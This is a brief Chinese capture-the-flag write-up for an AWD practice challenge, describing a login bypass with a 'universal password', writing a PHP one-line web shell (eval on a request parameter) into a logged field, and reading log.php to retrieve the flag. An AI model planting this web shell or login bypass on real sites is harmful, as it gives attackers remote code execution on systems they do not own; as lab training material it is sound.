AWD-Test2

1.已知账号密码,可SSH连接进行代码审计。

2.登录可万能密码 进入,也可注册 后登录。

3.修改url参数,发现报错。确定为Linux系统

4.写入一句话,并提交。(也可以文件上传,这里采用简洁的方法)

复制代码
<?php phpinfo();?>   //写入这个,在日志log.php可查看flag
<?php eval($_REQUEST[123]);?>

5.访问log.php日志文件,发现里面有flag

复制代码
http://efbc89f9-f04d-4204-b60b-65777640d4ef.node5.buuoj.cn:81/log.php

flag{399aa672-cf2d-4aca-9bec-693be96a9083}

注:如果没有,可以在前面一句话处填写 <?php phpinfo();?> 并提交。

相关推荐
Guheyunyi22 分钟前
AI集成运维管理平台的架构与核心构成解析
大数据·运维·人工智能·科技·安全·架构
vvilkim1 小时前
Flutter 导航与路由管理:Navigator 的深入解析与实践
前端·javascript·flutter
vvilkim1 小时前
Flutter状态管理进阶:从基础到架构设计
前端·flutter
唐人街都是苦瓜脸1 小时前
pnpm install 和 npm install 的区别
前端·npm·node.js
戒不掉的伤怀1 小时前
react,使用echarts过程
前端·react.js·echarts
小白探索世界欧耶!~1 小时前
react 使用 postcss-px-to-viewport 实现 px 自动转 vw 自适应
前端·javascript·vue.js·程序人生·react.js·postcss
ryipei2 小时前
vue纯前端根据页面或者后台数据,读取本地文档模板,填充数据后并导出
前端·javascript·vue.js
Gazer_S2 小时前
【Web 应用缓存与部署优化指南】
前端·缓存
袋鼠云数栈2 小时前
从SQL Server到分布式大数据平台:重构企业数据架构
大数据·分布式·sql·重构·数据库架构